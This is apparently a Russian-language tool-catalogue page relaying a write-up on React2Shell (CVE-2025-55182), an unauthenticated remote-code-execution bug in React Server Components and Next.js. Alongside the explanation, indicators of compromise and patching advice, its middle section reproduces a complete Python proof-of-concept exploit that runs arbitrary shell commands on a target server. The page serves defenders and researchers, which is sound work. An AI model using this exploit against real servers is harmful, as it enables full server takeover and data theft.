Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web — React2Shell, CVE-2025-55182, RCE Vulnerability: критический разбор уязвимости небезопасной десериализации в React Server Components, которая позволяет неаутентифицированное удаленное выполнение кода в стандартных конфигурациях React/Next.js. | Kitploit
Инструменты/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web
Управление индикаторами компрометации (IOC)Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеРазведка угрозСтатьи и ИсследованияОбучение и Образование

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Реагирование на Инциденты
Разработка Полезной Нагрузки
GitHubadityabhatt3010/react2shell-cve-2025-55182-the-deserialization-bug-that-broke-the-web

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell, CVE-2025-55182, RCE Vulnerability: критический разбор уязвимости небезопасной десериализации в React Server Components, которая позволяет неаутентифицированное удаленное выполнение кода в стандартных конфигурациях React/Next.js.

Репозиторий
82710 месяцев назадЕщё не проверено
Поделиться

React2Shell (CVE-2025-55182): Ошибка десериализации, сломавшая веб ⚡

React2Shell, CVE-2025-55182, RCE-уязвимость: критический разбор ошибки небезопасной десериализации в React Server Components, позволяющей выполнить удалённый код без аутентификации на стандартных конфигурациях React/Next.js.

⏩ TL;DR

React2Shell (CVE-2025-55182) — это критическая уязвимость удалённого выполнения кода (RCE), затрагивающая React Server Components (RSC) в React 19.x и фреймворках, таких как Next.js. Ошибка заключается в небезопасной десериализации фрагментов протокола «Flight», что позволяет злоумышленникам внедрять вредоносные структуры, которые разрешаются в конструктор Function, что приводит к произвольному выполнению JavaScript на сервере.

  • Работает на стандартных конфигурациях
  • Не требует аутентификации
  • Использует стандартные multipart/form-data запросы
  • Приводит к полному захвату сервера
  • Существует публичный PoC (указан ниже)
  • Меры защиты: обновление до React 19.2.1+ / исправленных версий Next.js

React2Shell


👋 Введение

React Server Components были созданы для объединения рендеринга на клиенте и сервере с более плавным и композиционным рабочим процессом. Для этого React использует собственный бинарно-подобный канал сериализации, называемый протоколом Flight.

К сожалению, логика десериализации этого протокола содержала тонкую ошибку, которая позволяла злоумышленникам протаскивать вредоносные нагрузки глубоко в среду выполнения React.

Результат? Полная, не требующая аутентификации цепочка удалённого выполнения кода, получившая название React2Shell — и да, её влияние сопоставимо с Log4Shell по масштабу и доступности. 🔥

Эта статья разбирает уязвимость в чистом, пригодном для действий формате — идеально для практиков VAPT, исследователей и защитников.


🧠 Объяснение уязвимости (React2Shell простыми словами)

🧩 1. Как работает протокол Flight в React

RSC общается с клиентом, отправляя сериализованные «фрагменты» (chunks), которые представляют ссылки, объекты, метаданные компонентов, асинхронные границы и т.д.

Когда эти фрагменты прибывают на сервер или клиент, React десериализует их обратно в объекты и функции.

Этот процесс предполагает, что структура данных безопасна. Вот где всё сломалось.


💥 2. Основная ошибка: небезопасная десериализация → конструктор Function → RCE

Злоумышленники нашли способ создавать вредоносные фрагменты, содержащие:

  • Аксессоры прототипа
  • Поддельные объекты, похожие на промисы (thenables)
  • Ключи, ссылающиеся на цепочку прототипов
  • Пути, которые в конечном итоге открывают конструктор Function

Пример шаблона:

"$then": { "constructor": { "prototype": null } }

Во время десериализации React интерпретирует этот объект как thenable и вызывает:

promise.then(...)

Но здесь then на самом деле является конструктором Function, поэтому вызов превращается в:

(new Function("malicious_payload"))();

Это приводит к произвольному выполнению JavaScript в среде Node.js, работающей с React Server Components.

Бум — у вас RCE.


🚨 3. Почему это так опасно

  • Не требуется аутентификация
  • Работает на стандартных приложениях Next.js
  • Не нужна особая конфигурация или флаг
  • Простой HTTP POST запрос
  • Приводит к полной компрометации: записи файлов, запуску процессов, боковому перемещению

Вот почему облачные провайдеры, команды безопасности и CERT отреагировали мгновенно, как только это стало публичным.


🚨 Индикаторы компрометации (IoC)

📡 Сетевые IoC

  • Multipart POST запросы к:
    • /react
    • /rsc
    • /server, /flight, /server-actions
  • Полезные нагрузки, содержащие ключи наподобие:
    • $then
    • $proto
    • $constructor
    • $type

🖥️ IoC на уровне хоста

  • Подозрительные выполнения Node.js, такие как:
    node -e "<payload>"
    
  • Неожиданные файлы в:
    • /tmp/react-rce-*
    • /var/tmp/node-rce-*

🧭 Поведенческие IoC

  • Журналы несоответствия гидратации перед аномалиями выполнения
  • Внезапные исходящие соединения с подозрительными IP
  • Сбои в обработчиках десериализации RSC
  • Необычные или повреждённые фрагменты Flight, возвращаемые сервером

🧪 PoC

⚠️ Важное примечание
Я не являюсь автором этого PoC.
Он взят из следующего публичного репозитория, с полным указанием авторства:

👉 https://github.com/msanft/CVE-2025-55182

⚠️ Отказ от ответственности:

Следующий Proof-of-Concept (PoC) предоставляется строго для образовательных и оборонительных целей кибербезопасности.
Он должен выполняться только в изолированных лабораторных средах или на системах, на которые у вас есть явное разрешение на тестирование.

Неправильное использование этого кода для несанкционированного доступа, эксплуатации или компрометации системы является незаконным, неэтичным и наказуемым по законам о кибербезопасности.
Действуйте ответственно. 🛡️💻

Ниже представлен полный PoC:

# CREDIT: https://github.com/msanft/CVE-2025-55182
# Do NOT run in production. Research-use only.

# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json

BASE_URL = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:3000"
EXECUTABLE = sys.argv[2] if len(sys.argv) > 2 else "id"

crafted_chunk = {
    "then": "$1:__proto__:then",
    "status": "resolved_model",
    "reason": -1,
    "value": '{"then": "$B0"}',
    "_response": {
        "_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});",
        # If you don't need the command output, you can use this line instead:
        # "_prefix": f"process.mainModule.require('child_process').execSync('{EXECUTABLE}');",
        "_formData": {
            "get": "$1:constructor:constructor",
        },
    },
}

files = {
    "0": (None, json.dumps(crafted_chunk)),
    "1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers, timeout=10)
print(res.status_code)
print(res.text)

⚠️ Отказ от ответственности:

Если вы запустили этот PoC, убедитесь, что вы сделали это в контролируемой песочнице, а не на каких-либо производственных или сторонних ресурсах.

Эта демонстрация существует исключительно для того, чтобы помочь аналитикам, разработчикам и защитникам понять, обнаружить и смягчить CVE-2025-55182 (React2Shell).
Любое вредоносное или несанкционированное использование этой информации строго запрещено и не одобряется автором.

Будьте этичны. Будьте в безопасности. 🐉🔥


🛡️ Стратегия смягчения и защиты

✅ 1. Немедленное обновление

  • React → 19.2.1+
  • Next.js → исправленные версии, выпущенные Vercel
  • Другие фреймворки с поддержкой RSC → применить патчи от разработчиков

🔐 2. Краткосрочное усиление защиты

  • Добавить сигнатуры WAF для шаблонов десериализации RSC
  • Блокировать подозрительный трафик multipart POST
  • Ограничить публичный доступ к конечным точкам server-action
  • Отключить экспериментальные функции RSC, если они не требуются
  • Внедрить строгую проверку входящих запросов

🧱 3. Глубокая эшелонированная защита

  • Использовать песочницу для среды выполнения Node.js
  • Включить ограничения исходящего сетевого трафика
  • Аудировать неожиданное выполнение кода на стороне сервера
  • Добавить обнаружение аномалий в журналы и конвейеры сборки

👋 Заключение — Будьте любопытны, будьте в безопасности 🔥

Скачать инструмент